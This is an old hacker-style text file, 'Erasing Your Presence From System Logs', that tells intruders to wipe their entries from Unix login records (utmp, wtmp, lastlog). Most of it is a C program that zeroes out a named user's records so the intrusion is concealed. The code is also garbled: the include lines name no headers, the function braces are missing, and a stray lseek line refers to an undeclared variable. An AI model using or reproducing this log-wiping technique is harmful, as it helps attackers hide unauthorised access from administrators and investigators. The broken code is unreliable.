                                      ¤¤ Erasing Your Presence From System Logs ¤¤

Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose.

Example:


#include
#include
#include
#include
#include
#include
#include
#include
#define WTMP_NAME "/usr/adm/wtmp"
#define UTMP_NAME "/etc/utmp"
#define LASTLOG_NAME "/usr/adm/lastlog"

int f;

void kill_utmp(who)
char *who;

  if ((f=open(UTMP_NAME,O_RDWR))>=0) {
        while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
          if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
                          bzero((char *)&utmp_ent,sizeof( utmp_ent ));
                          lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
                          write (f, &utmp_ent, sizeof (utmp_ent));
                  }
        close(f);

           lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND);
